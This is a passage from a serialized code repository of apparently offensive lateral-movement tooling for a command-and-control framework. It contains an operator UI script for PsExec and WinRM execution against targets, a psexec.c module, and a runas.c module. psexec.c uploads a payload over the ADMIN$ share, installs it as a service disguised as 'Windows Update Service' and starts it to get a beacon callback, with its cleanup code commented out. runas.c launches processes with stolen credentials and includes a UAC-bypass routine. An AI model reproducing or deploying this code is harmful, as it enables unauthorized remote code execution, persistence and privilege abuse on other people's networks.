 layout.addWidget(select_button,  2, 2, 1, 1);\n    layout.addWidget(hline,          3, 0, 1, 3);\n    layout.addWidget(share_label,    4, 0, 1, 1);\n    layout.addWidget(share_text,     4, 1, 1, 2);\n    layout.addWidget(path_label,     5, 0, 1, 1);\n    layout.addWidget(path_text,      5, 1, 1, 2);\n    layout.addWidget(bin_name_label, 6, 0, 1, 1);\n    layout.addWidget(bin_name_text,  6, 1, 1, 2);\n    layout.addWidget(svc_name_label, 7, 0, 1, 1);\n    layout.addWidget(svc_name_text,  7, 1, 1, 2);\n    layout.addWidget(svc_desc_label, 8, 0, 1, 1);\n    layout.addWidget(svc_desc_text,  8, 1, 1, 2);\n\n    form.connect(select_button, \"clicked\", function(){\n        let agents = agents_selector.exec();\n        if (agents.length > 0) {\n            let agent = agents[0];\n            agent_text.setText(agent[\"id\"]);\n        }\n    });\n\n    form.connect(button_file, \"clicked\", function() {\n        text_file.setText( ax.prompt_open_file() );\n    });\n\n    let dialog = form.create_dialog(\"Jump using PsExec\");\n    dialog.setSize(500, 300);\n    dialog.setLayout(layout);\n    dialog.setButtonsText(\"Execute\", \"Cancel\");\n    while ( dialog.exec() == true )  {\n        let payload_path = text_file.text();\n        if(payload_path.length == 0) { ax.show_message(\"Error\", \"Payload not specified\"); continue; }\n\n        let payload_content = ax.file_read(payload_path);\n        if(payload_content.length == 0) { ax.show_message(\"Error\", `file ${payload_path} not readed`); continue; }\n\n        let format = combo_format.currentText();\n        let agent_id = agent_text.text();\n\n        let command_params = \"\";\n        if (share_text.text().length)    { command_params += ` -s \"${share_text.text()}\"`; }\n        if (path_text.text().length)     { command_params += ` -p \"${path_text.text()}\"`; }\n        if (bin_name_text.text().length) { command_params += ` -b \"${bin_name_text.text()}\"`; }\n        if (svc_name_text.text().length) { command_params += ` -n \"${svc_name_text.text()}\"`; }\n        if (svc_desc_text.text().length) { command_params += ` -d \"${svc_desc_text.text()}\"`; }\n\n        let targets = ax.targets()\n        targets_id.forEach((id) => {\n            let addr = targets[id].address;\n            if(format == \"FQDN\") { addr = targets[id].computer; }\n            if(addr.length == 0 ) {\n                ax.show_message(\"Error\", \"Target is empty!\");\n            }\n            else {\n                let command = `jump psexec ${addr} ${payload_path}`;\n                if (command_params.length > 0)\n                    command += command_params;\n\n                ax.execute_command(agent_id, command);\n            }\n        });\n        break;\n    }\n});\n\nlet jump_menu = menu.create_menu(\"Jump to   \");\njump_menu.addItem(psexec_action)\nmenu.add_targets(jump_menu, \"top\");\n\n\n\nlet winrm_action = menu.create_action(\"WinRM\", function(targets_id) {\n    let agents_selector = form.create_selector_agents([\"id\", \"type\", \"computer\", \"username\", \"process\", \"pid\", \"tags\"]);\n    agents_selector.setSize(1000, 400);\n\n    let creds_selector = form.create_selector_credentials([\"username\", \"password\", \"realm\", \"tag\"]);\n    creds_selector.setSize(800, 400);\n\n    let label_format = form.create_label(\"Target format:\");\n    let combo_format = form.create_combo();\n    combo_format.addItems([\"FQDN\", \"IP address\"]);\n\n    let label_command = form.create_label(\"Command:\");\n    let text_command  = form.create_textmulti();\n\n    let agent_label   = form.create_label(\"Session:\");\n    let agent_text    = form.create_textline();\n    let select_button = form.create_button(\"...\");\n\n    let hline = form.create_hline();\n\n    let username_label  = form.create_label(\"Username:\");\n    let username_text   = form.create_textline();\n    username_text.setPlaceholder(\"DOMAIN\\\\\\\\user (empty = current context)\");\n    let creds_button    = form.create_button(\"...\");\n\n    let password_label  = form.create_label(\"Password:\");\n    let password_text   = form.create_textline();\n\n    let layout = form.create_gridlayout();\n    layout.addWidget(label_format,   0, 0, 1, 1);\n    layout.addWidget(combo_format,   0, 1, 1, 2);\n    layout.addWidget(label_command,  1, 0, 1, 1);\n    layout.addWidget(text_command,   1, 1, 1, 2);\n    layout.addWidget(agent_label,    2, 0, 1, 1);\n    layout.addWidget(agent_text,     2, 1, 1, 1);\n    layout.addWidget(select_button,  2, 2, 1, 1);\n    layout.addWidget(hline,          3, 0, 1, 3);\n    layout.addWidget(username_label, 4, 0, 1, 1);\n    layout.addWidget(username_text,  4, 1, 1, 1);\n    layout.addWidget(creds_button,   4, 2, 1, 1);\n    layout.addWidget(password_label, 5, 0, 1, 1);\n    layout.addWidget(password_text,  5, 1, 1, 2);\n\n    form.connect(select_button, \"clicked\", function(){\n        let agents = agents_selector.exec();\n        if (agents.length > 0) {\n            let agent = agents[0];\n            agent_text.setText(agent[\"id\"]);\n        }\n    });\n\n    form.connect(creds_button, \"clicked\", function(){\n        let cred_list = creds_selector.exec();\n        if (cred_list.length > 0) {\n            let cred = cred_list[0];\n            let user = cred[\"username\"];\n            if (cred[\"realm\"].length > 0) { user = cred[\"realm\"] + \"\\\\\" + user; }\n            username_text.setText(user);\n            password_text.setText(cred[\"password\"]);\n        }\n    });\n\n    let dialog = form.create_dialog(\"Invoke using WinRM\");\n    dialog.setSize(500, 280);\n    dialog.setLayout(layout);\n    dialog.setButtonsText(\"Execute\", \"Cancel\");\n    while ( dialog.exec() == true )  {\n\n        let target_cmd = text_command.text();\n        if(target_cmd.length == 0) { ax.show_message(\"Error\", \"Command not specified\"); continue; }\n\n        let format = combo_format.currentText();\n        let agent_id = agent_text.text();\n\n        let cred_params = \"\";\n        if (username_text.text().length > 0) {\n            if (password_text.text().length == 0) { ax.show_message(\"Error\", \"Password required when username is specified\"); continue; }\n            cred_params = ` -u \"${username_text.text()}\" -p \"${password_text.text()}\"`;\n        }\n\n        let targets = ax.targets()\n        targets_id.forEach((id) => {\n            let addr = targets[id].address;\n            if(format == \"FQDN\") { addr = targets[id].computer; }\n            if(addr.length == 0 ) {\n                ax.show_message(\"Error\", \"Target is empty!\");\n            }\n            else {\n                let command = `invoke winrm ${addr} \"${target_cmd}\"` + cred_params;\n                ax.execute_command(agent_id, command);\n            }\n        });\n        break;\n    }\n});\n\nlet invoke_menu = menu.create_menu(\"Invoke on   \");\ninvoke_menu.addItem(winrm_action)\nmenu.add_targets(invoke_menu, \"top\");"
  },
  {
    "path": "LateralMovement-BOF/psexec/psexec.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include \"beacon.h\"\n\nWINBASEAPI int __cdecl MSVCRT$_snprintf(char * __restrict__ d, size_t n, const char * __restrict__ format, ...);\nWINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID);\nWINBASEAPI VOID WINAPI KERNEL32$Sleep(DWORD dwMilliseconds);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile );\nWINBASEAPI BOOL WINAPI KERNEL32$WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped );\nWINBASEAPI BOOL WINAPI KERNEL32$DeleteFileA( LPCSTR lpFileName );\nWINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);\nWINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenSCManagerA(LPCSTR lpMachineName,LPCSTR lpDatabaseName,DWORD dwDesiredAccess);\nWINADVAPI SC_HANDLE WINAPI ADVAPI32$CreateServiceA(SC_HANDLE hSCManager,LPCSTR lpServiceName,LPCSTR lpDisplayName,DWORD dwDesiredAccess,DWORD dwServiceType,DWORD dwStartType,DWORD dwErrorControl,LPCSTR lpBinaryPathName,LPCSTR lpLoadOrderGroup,LPDWORD lpdwTagId,LPCSTR lpDependencies,LPCSTR lpServiceStartName,LPCSTR lpPassword);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CloseServiceHandle(SC_HANDLE hSCObject);\nWINADVAPI WINBOOL WINAPI ADVAPI32$StartServiceA(SC_HANDLE hService,DWORD dwNumServiceArgs,LPCSTR *lpServiceArgVectors);\n\nvoid go(char *args, int len)\n{\n    datap parser;\n    BeaconDataParse(&parser, args, len);\n\n    ULONG tmp = 0;\n    ULONG svcBinarySize = 0;\n    CHAR* target      = BeaconDataExtract(&parser, NULL);\n    CHAR* svcBinary   = BeaconDataExtract(&parser, &svcBinarySize);\n    CHAR* binaryName  = BeaconDataExtract(&parser, &tmp);\n    CHAR* share       = BeaconDataExtract(&parser, &tmp);\n    CHAR* servicePath = BeaconDataExtract(&parser, &tmp);\n    CHAR* serviceName = BeaconDataExtract(&parser, &tmp);\n    CHAR* displayName = BeaconDataExtract(&parser, &tmp);\n\n    // handle empty parameters with defaults\n    if (!binaryName || binaryName[0] == '\\0')    binaryName = \"service.exe\";\n    if (!share || share[0] == '\\0')              share = \"ADMIN$\";\n    if (!servicePath || servicePath[0] == '\\0')  servicePath = \"\\\\\\\\%SYSTEMROOT%\";\n    if (!serviceName || serviceName[0] == '\\0')  serviceName = \"WindowsUpdateService\";\n    if (!displayName || displayName[0] == '\\0')  displayName = \"Windows Update Service\";\n\n    CHAR remotePath[MAX_PATH];\n    MSVCRT$_snprintf(remotePath, sizeof(remotePath), \"\\\\\\\\%s\\\\%s\\\\%s\", target, share, binaryName);\n    BeaconPrintf(CALLBACK_OUTPUT, \"Uploading binary to %s\", remotePath);\n\n    HANDLE hFile = KERNEL32$CreateFileA(remotePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n    if (hFile == INVALID_HANDLE_VALUE) {\n        DWORD err = KERNEL32$GetLastError();\n        BeaconPrintf(CALLBACK_ERROR, \"Failed to create remote file: %lu\", err);\n        if (err == 5)\n            BeaconPrintf(CALLBACK_ERROR, \"Access denied - check credentials and share permissions\");\n        return;\n    }\n\n    DWORD bytesWritten;\n    if (!KERNEL32$WriteFile(hFile, svcBinary, svcBinarySize, &bytesWritten, NULL)) {\n        BeaconPrintf(CALLBACK_ERROR, \"Failed to write file: %lu\", KERNEL32$GetLastError());\n        KERNEL32$CloseHandle(hFile);\n        KERNEL32$DeleteFileA(remotePath);\n        return;\n    }\n    if (bytesWritten != svcBinarySize) {\n        BeaconPrintf(CALLBACK_ERROR, \"Incomplete write: %lu of %lu bytes\", bytesWritten, svcBinarySize);\n        KERNEL32$CloseHandle(hFile);\n        KERNEL32$DeleteFileA(remotePath);\n        return;\n    }\n    KERNEL32$CloseHandle(hFile);\n    BeaconPrintf(CALLBACK_OUTPUT, \"Successfully uploaded %lu bytes\", bytesWritten);\n\n    SC_HANDLE hSCM = ADVAPI32$OpenSCManagerA(target, NULL, SC_MANAGER_CREATE_SERVICE);\n    if (!hSCM) {\n        DWORD err = KERNEL32$GetLastError();\n        BeaconPrintf(CALLBACK_ERROR, \"Failed to open SCM: %lu\", err);\n        if (err == 5)\n            BeaconPrintf(CALLBACK_ERROR, \"Access denied - need Administrator privileges on target\");\n        KERNEL32$DeleteFileA(remotePath);\n        return;\n    }\n\n    KERNEL32$Sleep(500);\n\n    char payloadPath[MAX_PATH];\n    MSVCRT$_snprintf(payloadPath, sizeof(payloadPath), \"%s\\\\%s\", servicePath, binaryName);\n    BeaconPrintf(CALLBACK_OUTPUT, \"Creating service '%s' with path '%s'\", serviceName, payloadPath);\n\n    SC_HANDLE hSvc = ADVAPI32$CreateServiceA( hSCM, serviceName, displayName, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payloadPath, NULL, NULL, NULL, NULL, NULL);\n    if (!hSvc) {\n        DWORD err = KERNEL32$GetLastError();\n        BeaconPrintf(CALLBACK_ERROR, \"Failed to create service: %lu\", err);\n        if (err == 1073)\n            BeaconPrintf(CALLBACK_ERROR, \"Service already exists (error 1073) - use SCExec BOF\");\n        else if (err == 1072)\n            BeaconPrintf(CALLBACK_ERROR, \"Service marked for deletion (error 1072) - wait and retry\");\n        ADVAPI32$CloseServiceHandle(hSCM);\n        KERNEL32$DeleteFileA(remotePath);\n        return;\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"Service created successfully\");\n\n    KERNEL32$Sleep(500);\n\n\n    if (!ADVAPI32$StartServiceA(hSvc, 0, NULL)) {\n        DWORD err = KERNEL32$GetLastError();\n        if (err == 1053) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"Service start timeout (error 1053) - service may have started successfully. Check for beacon callback!\");\n        } else {\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to start service: %lu\", err);\n            if (err == 1058)\n                BeaconPrintf(CALLBACK_ERROR, \"Service disabled - cannot start\");\n            else if (err == 1069)\n                BeaconPrintf(CALLBACK_ERROR, \"Service logon failure - check service account\");\n        }\n        return;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"Service '%s' started successfully\", serviceName);\n\n    // // cleanup phase - stop and delete service, then delete file\n    // BeaconPrintf(CALLBACK_OUTPUT, \"Cleaning up service and file...\");\n    // KERNEL32$Sleep(2000);\n    //\n    // SERVICE_STATUS status;\n    // ADVAPI32$ControlService(hSvc, SERVICE_CONTROL_STOP, &status);\n    // KERNEL32$Sleep(500);\n    //\n    // if (ADVAPI32$DeleteService(hSvc)) {\n    //     BeaconPrintf(CALLBACK_OUTPUT, \"Service deleted\");\n    // }\n    //\n    // ADVAPI32$CloseServiceHandle(hSvc);\n    // ADVAPI32$CloseServiceHandle(hSCM);\n    //\n    // KERNEL32$Sleep(500);\n    // if (KERNEL32$DeleteFileA(remotePath)) {\n    //     BeaconPrintf(CALLBACK_OUTPUT, \"Binary file deleted\");\n    // }\n    //\n    // BeaconPrintf(CALLBACK_OUTPUT, \"Execution complete\");\n}"
  },
  {
    "path": "LateralMovement-BOF/runas/runas.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n\n#define LOGON_WITH_PROFILE          0x00000001\n#define LOGON_NETCREDENTIALS_ONLY   0x00000002\n#define CREATE_NO_WINDOW            0x08000000\n#define CREATE_UNICODE_ENVIRONMENT  0x00000400\n#define STARTF_USESTDHANDLES        0x00000100\n#define BUFFER_SIZE_PIPE            1048576\n#define PROCESS_TIMEOUT             120000\n\n#define SE_KERNEL_OBJECT            6\n#define DACL_SECURITY_INFORMATION   0x00000004\n\n#define SECURITY_MANDATORY_MEDIUM_RID   0x2000\n#define SE_GROUP_INTEGRITY              0x00000020\n\nWINBASEAPI WINBOOL WINAPI ADVAPI32$LogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken);\nWINBASEAPI DWORD   WINAPI KERNEL32$GetLastError(VOID);\nWINADVAPI  WINBOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);\nWINADVAPI  WINBOOL WINAPI ADVAPI32$SetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength);\nWINBASEAPI HANDLE  WINAPI KERNEL32$GetProcessHeap();\nWINBASEAPI LPVOID  WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\nWINBASEAPI BOOL    WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);\nWINBASEAPI BOOL    WINAPI KERNEL32$CloseHandle(HANDLE hObject);\nWINBASEAPI DWORD   WINAPI KERNEL32$WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds);\nWINBASEAPI BOOL    WINAPI KERNEL32$CreatePipe(PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize);\nWINBASEAPI BOOL    WINAPI KERNEL32$ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);\nWINBASEAPI BOOL    WINAPI KERNEL32$SetNamedPipeHandleState(HANDLE hNamedPipe, LPDWORD lpMode, LPDWORD lpMaxCollectionCount, LPDWORD lpCollectDataTimeout);\nWINBASEAPI BOOL    WINAPI KERNEL32$DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);\nWINBASEAPI HANDLE  WINAPI KERNEL32$GetCurrentProcess(VOID);\nWINBASEAPI BOOL    WINAPI KERNEL32$PeekNamedPipe(HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage);\nWINADVAPI  WINBOOL WINAPI ADVAPI32$CreateProcessWithLogonW(LPCWSTR lpUsername, LPCWSTR lpDomain, LPCWSTR lpPassword, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);\nWINADVAPI  WINBOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser(HANDLE hToken);\nWINADVAPI  WINBOOL WINAPI ADVAPI32$RevertToSelf(VOID);\nWINADVAPI  DWORD   WINAPI ADVAPI32$SetSecurityInfo(HANDLE handle, DWORD ObjectType, DWORD SecurityInfo, PSID psidOwner, PSID psidGroup, PACL pDacl, PACL pSacl);\nWINADVAPI  WINBOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);\nWINADVAPI  WINBOOL WINAPI ADVAPI32$AllocateAndInitializeSid(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority, BYTE nSubAuthorityCount, DWORD dwSubAuthority0, DWORD dwSubAuthority1, DWORD dwSubAuthority2, DWORD dwSubAuthority3, DWORD dwSubAuthority4, DWORD dwSubAuthority5, DWORD dwSubAuthority6, DWORD dwSubAuthority7, PSID* pSid);\nWINADVAPI  PVOID   WINAPI ADVAPI32$FreeSid(PSID pSid);\nWINADVAPI  PDWORD  WINAPI ADVAPI32$GetSidSubAuthority(PSID pSid, DWORD nSubAuthority);\nWINADVAPI  PUCHAR  WINAPI ADVAPI32$GetSidSubAuthorityCount(PSID pSid);\nWINADVAPI  DWORD   WINAPI ADVAPI32$GetLengthSid(PSID pSid);\nWINBASEAPI HANDLE  WINAPI KERNEL32$GetCurrentThread(VOID);\nWINADVAPI  WINBOOL WINAPI ADVAPI32$OpenThreadToken(HANDLE ThreadHandle, DWORD DesiredAccess, BOOL OpenAsSelf, PHANDLE TokenHandle);\nWINADVAPI  WINBOOL WINAPI ADVAPI32$DuplicateTokenEx(HANDLE hExistingToken, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, PHANDLE phNewToken);\n\nvoid _memset(void* ptr, int value, size_t num) {\n    if (!ptr) return;\n    unsigned char* p = (unsigned char*)ptr;\n    while (num--) *p++ = (unsigned char)value;\n}\n\nconst char* GetLogonTypeName(DWORD logonType)\n{\n    switch (logonType) {\n        case 2:  return \"Interactive\";\n        case 3:  return \"Network\";\n        case 4:  return \"Batch\";\n        case 5:  return \"Service\";\n        case 8:  return \"NetworkCleartext\";\n        case 9:  return \"NewCredentials\";\n        default: return \"Unknown\";\n    }\n}\n\nBOOL CreateAnonymousPipe(PHANDLE hReadPipe, PHANDLE hWritePipe)\n{\n    SECURITY_ATTRIBUTES sa;\n    sa.nLength = sizeof(SECURITY_ATTRIBUTES);\n    sa.lpSecurityDescriptor = NULL;\n    sa.bInheritHandle = TRUE;\n    return KERNEL32$CreatePipe(hReadPipe, hWritePipe, &sa, BUFFER_SIZE_PIPE);\n}\n\nDWORD GetTokenIntegrityLevel(HANDLE hToken)\n{\n    DWORD integrityLevel = 0;\n    DWORD dwLength = 0;\n    PTOKEN_MANDATORY_LABEL pTIL = NULL;\n\n    ADVAPI32$GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwLength);\n    if (dwLength == 0) return 0;\n\n    pTIL = (PTOKEN_MANDATORY_LABEL)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, dwLength);\n    if (!pTIL) return 0;\n\n    if (ADVAPI32$GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwLength, &dwLength)) {\n        PUCHAR pCount = ADVAPI32$GetSidSubAuthorityCount(pTIL->Label.Sid);\n        if (pCount && *pCount > 0) {\n            PDWORD pRid = ADVAPI32$GetSidSubAuthority(pTIL->Label.Sid, (*pCount) - 1);\n            if (pRid) integrityLevel = *pRid;\n        }\n    }\n\n    KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pTIL);\n    return integrityLevel;\n}\n\nBOOL SetTokenIntegrityLevel(HANDLE hToken, DWORD integrityLevel)\n{\n    SID_IDENTIFIER_AUTHORITY MLAuthority = { {0, 0, 0, 0, 0, 16} };\n    PSID pIntegritySid = NULL;\n    TOKEN_MANDATORY_LABEL tml;\n    BOOL result = FALSE;\n\n    if (!ADVAPI32$AllocateAndInitializeSid(&MLAuthority, 1, integrityLevel, 0, 0, 0, 0, 0, 0, 0, &pIntegritySid))\n        return FALSE;\n\n    _memset(&tml, 0, sizeof(tml));\n    tml.Label.Sid = pIntegritySid;\n    tml.Label.Attributes = SE_GROUP_INTEGRITY;\n\n    result = ADVAPI32$SetTokenInformation(hToken, TokenIntegrityLevel, &tml, sizeof(TOKEN_MANDATORY_LABEL));\n\n    ADVAPI32$FreeSid(pIntegritySid);\n    return result;\n}\n\nBOOL CreateProcessWithLogonWBypassUac(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, LPWSTR cmdLine, LPSTARTUPINFOW si, LPPROCESS_INFORMATION pi)\n{\n    HANDLE hToken = NULL;\n    HANDLE hCurrentProcessToken = NULL;\n    BOOL result = FALSE;\n\n    if (!ADVAPI32$LogonUserW(username, domain, password, logonType, LOGON32_PROVIDER_DEFAULT, &hToken)) {\n        BeaconPrintf(CALLBACK_ERROR, \"BypassUac: LogonUser failed. Error: %d\\n\", KERNEL32$GetLastError());\n        return FALSE;\n    }\n\n    if (ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &hCurrentProcessToken)) {\n        DWORD currentIL = GetTokenIntegrityLevel(hCurrentProcessToken);\n        SetTokenIntegrityLevel(hToken, currentIL);\n        KERNEL32$CloseHandle(hCurrentProcessToken);\n    }\n\n    ADVAPI32$SetSecurityInfo(KERNEL32$GetCurrentProcess(), SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL);\n\n    if (ADVAPI32$ImpersonateLoggedOnUser(hToken)) {\n        LPCWSTR effectiveDomain = domain;\n        WCHAR dotDomain[] = L\".\";\n        if (!domain || domain[0] == L'\\0')\n            effectiveDomain = dotDomain;\n\n        WCHAR currentDir[] = L\"C:\\\\Windows\\\\System32\";\n        result = ADVAPI32$CreateProcessWithLogonW(username, effectiveDomain, password, LOGON_NETCREDENTIALS_ONLY, NULL, cmdLine, CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, NULL, currentDir, si, pi);\n        \n        if (!result)\n            BeaconPrintf(CALLBACK_ERROR, \"BypassUac: CreateProcessWithLogonW failed. Error: %d\\n\", KERNEL32$GetLastError());\n        \n        ADVAPI32$RevertToSelf();\n    }\n    else {\n        BeaconPrintf(CALLBACK_ERROR, \"BypassUac: ImpersonateLoggedOnUser failed. Error: %d\\n\", KERNEL32$GetLastError());\n    }\n\n    KERNEL32$CloseHandle(hToken);\n    return result;\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length)\n{\n    datap parser;\n    BeaconDataParse(&parser, Buffer, Length);\n    \n    ULONG  cmdLen      = 0;\n    WCHAR* username    = (WCHAR*)BeaconDataExtract(&parser, NULL);\n    WCHAR* password    = (WCHAR*)BeaconDataExtract(&parser, NULL);\n    WCHAR* domain      = (WCHAR*)BeaconDataExtract(&parser, NULL);\n    WCHAR* commandLine = (WCHAR*)BeaconDataExtract(&parser, &cmdLen);\n    ULONG  logonType   = BeaconDataInt(&parser);\n    ULONG  timeout     = BeaconDataInt(&parser);\n    ULONG  noOutput    = BeaconDataInt(&parser);\n    ULONG  bypassUac   = BeaconDataInt(&parser);\n\n    if (!username || !password || !domain) {\n        BeaconPrintf(CALLBACK_ERROR, \"Missing required parameters: username, password, or domain\\n\");\n        return;\n    }\n\n    if (!commandLine || cmdLen == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"Missing required parameter: commandLine\\n\");\n        return;\n    }\n\n    DWORD logonFlags = LOGON_WITH_PROFILE;\n    if (logonType == 9)\n        logonFlags = LOGON_NETCREDENTIALS_ONLY;\n    else if (logonType < 2 || logonType > 9 || logonType == 6 || logonType == 7)\n        logonType = 2;\n\n    HANDLE hOutputReadTmp = NULL;\n    HANDLE hOutputWrite = NULL;\n    HANDLE hErrorWrite = NULL;\n    HANDLE hOutputRead = NULL;\n    HANDLE hCurrentProcess = KERNEL32$GetCurrentProcess();\n\n    if (!noOutput) {\n        if (!CreateAnonymousPipe(&hOutputReadTmp, &hOutputWrite)) {\n            BeaconPrintf(CALLBACK_ERROR, \"CreatePipe for stdout failed. Error: %d\\n\", KERNEL32$GetLastError());\n            return;\n        }\n\n        if (!KERNEL32$DuplicateHandle(hCurrentProcess, hOutputWrite, hCurrentProcess, &hErrorWrite, 0, TRUE, DUPLICATE_SAME_ACCESS)) {\n            BeaconPrintf(CALLBACK_ERROR, \"DuplicateHandle for stderr failed. Error: %d\\n\", KERNEL32$GetLastError());\n            KERNEL32$CloseHandle(hOutputReadTmp);\n            KERNEL32$CloseHandle(hOutputWrite);\n            return;\n        }\n\n        if (!KERNEL32$DuplicateHandle(hCurrentProcess, hOutputReadTmp, hCurrentProcess, &hOutputRead, 0, FALSE, DUPLICATE_SAME_ACCESS)) {\n            BeaconPrintf(CALLBACK_ERROR, \"DuplicateHandle for stdout read failed. Error: %d\\n\", KERNEL32$GetLastError());\n            KERNEL32$CloseHandle(hOutputReadTmp);\n            KERNEL32$CloseHandle(hOutputWrite);\n            KERNEL32$CloseHandle(hErrorWrite);\n            return;\n        }\n        KERNEL32$CloseHandle(hOutputReadTmp);\n        hOutputReadTmp = NULL;\n\n        DWORD pipeMode = PIPE_NOWAIT;\n        KERNEL32$SetNamedPipeHandleState(hOutputRead, &pipeMode, NULL, NULL);\n    }\n\n    STARTUPINFOW si;\n    PROCESS_INFORMATION pi;\n    _memset(&si, 0, sizeof(si));\n    _memset(&pi, 0, sizeof(pi));\n    si.cb = sizeof(si);\n    \n    if (!noOutput) {\n        si.dwFlags = STARTF_USESTDHANDLES;\n        si.hStdInput = NULL;\n        si.hStdOutput = hOutputWrite;\n        si.hStdError = hErrorWrite;\n    }\n\n    WCHAR* cmdLineCopy = (WCHAR*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, (cmdLen + 2) * sizeof(WCHAR));\n    if (!cmdLineCopy) {\n        BeaconPrintf(CALLBACK_ERROR, \"Failed to allocate memory for command line\\n\");\n        if (!noOutput) {\n            KERNEL32$CloseHandle(hOutputRead);\n            KERNEL32$CloseHandle(hOutputWrite);\n            KERNEL32$CloseHandle(hErrorWrite);\n        }\n        return;\n    }\n    \n    for (ULONG i = 0; i < cmdLen / sizeof(WCHAR); i++)\n        cmdLineCopy[i] = commandLine[i];\n\n    BOOL processCreated = FALSE;\n\n    WCHAR currentDir[] = L\"C:\\\\Windows\\\\System32\";\n\n    if (bypassUac) {\n        DWORD logonTypeBypassUac = logonType;\n        if (logonType != 3 && logonType != 4 && logonType != 5 && logonType != 8)\n            logonTypeBypassUac = 8;\n        processCreated = CreateProcessWithLogonWBypassUac(username, domain, password, logonTypeBypassUac, cmdLineCopy, &si, &pi);\n    }\n    else {\n        processCreated = ADVAPI32$CreateProcessWithLogonW(username, domain, password, logonFlags, NULL, cmdLineCopy, CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, NULL, currentDir, &si, &pi);\n    }\n\n    if (!noOutput) {\n        KERNEL32$CloseHandle(hOutputWrite);\n        KERNEL32$CloseHandle(hErrorWrite);\n        hOutputWrite = NULL;\n        hErrorWrite = NULL;\n    }\n\n    if (!processCreated) {\n        DWORD error = KERNEL32$GetLastError();\n        BeaconPrintf(CALLBACK_ERROR, \"CreateProcessWithLogonW failed. Error: %d\\n\", error);\n        if (!noOutput) KERNEL32$CloseHandle(hOutputRead);\n        KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, cmdLineCopy);\n        return;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Process created (PID: %d) as %ls\\\\%ls (logon: %s)%s\\n\", pi.dwProcessId, domain, username, GetLogonTypeName(logonType), bypassUac ? \" [bypass-uac]\" : \"\");\n\n    if (!noOutput) {\n        DWORD waitTime = (timeout > 0) ? timeout : PROCESS_TIMEOUT;\n        KERNEL32$WaitForSingleObject(pi.hProcess, waitTime);\n\n        char* outputBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, BUFFER_SIZE_PIPE);\n        if (outputBuffer) {\n            DWORD totalBytesRead = 0;\n            DWORD bytesRead = 0;\n            DWORD bytesAvail = 0;\n\n            while (KERNEL32$PeekNamedPipe(hOutputRead, NULL, 0, NULL, &bytesAvail, NULL) && bytesAvail > 0) {\n                DWORD toRead = (bytesAvail > 